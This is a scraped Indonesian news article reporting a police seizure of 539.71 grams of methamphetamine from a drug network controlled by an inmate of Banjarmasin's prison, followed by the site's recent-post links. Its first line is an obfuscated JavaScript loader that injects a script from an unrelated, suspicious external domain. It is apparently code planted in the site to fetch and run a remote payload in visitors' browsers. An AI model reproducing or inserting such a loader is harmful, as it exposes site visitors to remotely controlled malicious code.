(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Lapas Masih Jadi ‘Sarang’ Narkoba, Buktinya Sabu 539,71 Gram Diungkap dari Balik Jeruji


BANJARMASIN, Mata rantai besar jaringan Narkoba di Kalsel sepertinya masih diatur dari balik jeruji Lembaga Pemasyarakatan, terbukti sebanyak 539,71 gram sabu dari jaringan Lembaga Permasyarakatan (Lapas) Kelas IIA Banjarmasin diamankan Dit Resnarkoba Polda Kalimantan Selatan (Kalsel).

“Ada dua tersangka yang kami tangkap, satu diantaranya narapidana warga binaan Lapas,” terang Direktur Resnarkoba Polda Kalsel Kombes Pol Wisnu Widarto, SIK diwakili Kabag Binopsnal Dit Resnarkoba Polda Kalsel AKBP Sigit Kumoro SIK.

Jaringan pengedar yang dikendalikan narapidana berinisial T (45) diungkap Tim Subbid 1 Dit Resnarkoba Polda Kalsel yang dipimpin Kompol Ugeng Sudia Permana SH selaku Kasubdit 1 Dit Resnarkoba Polda Kalsel.

Awalnya petugas menangkap tersangka lain berinisial D (35) pada hari Jum’at 21 Juni 2019 di kediaman di jalan Mahligai Komplek Marhamah, Desa Kertak Hanyar, Kecamatan Kertak Hanyar, Kabupaten Banjar. “Kami lakukan pengintaian cukup lama terhadap tersangka karena diduga kerap melakukan transaksi narkoba,” kata AKBP Sigit Kumoro.


Dari penangkapan pria yang sehari-hari bekerja sebagai sopir ini, petugas menemukan 14 paket sabu dengan berat 539,71 gram. Hasil introgasi polisi, tersangka D hanya diperintah oleh seorang narapidana untuk menyimpan barang tersebut dan menyerahkannya kepada setiap pembeli.

Dari pengakuan tersangka, AKBP Sigit Kumoro menyebut jika jaringan ini dikendalikan napi di dalam Lapas dan yang bersangkutan langsung dijemput di dalam sel penjara. AKBP Sigit Kumoro menyatakan jika seorang terpidana kasus narkoba masih bisa menjalankan bisnis haram lantaran bebas menggunakan alat komunikasi (Hp) yang jelas dilarang masuk ke Lapas.

Pengungkapan dengan barang bukti ini pun seakan menjadi kado manis dari Dit Resnarkoba Polda Kalsel pada hari ulang tahun (HUT) ke-73 Bhayangkara yang jatuh pada tanggal 1 Juli 2019.

Sebelumnya, Subbid 1 Dit Resnarkoba Polda Kalsel juga menangkap tiga pengedar diantaranya AM, AT dan RI dengan barang bukti 7 paket sabu seberat 25,59 gram pada tanggal 13 Juni 2019. Pada tanggal 17 Juni 2019, giliran Subbid 3 Dit Resnarkoba Polda Kalsel yang dipimpin AKBP Andi Aliamin Amrullah SH selaku Kasubdit 3 Dit Resnarkoba Polda Kalsel. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.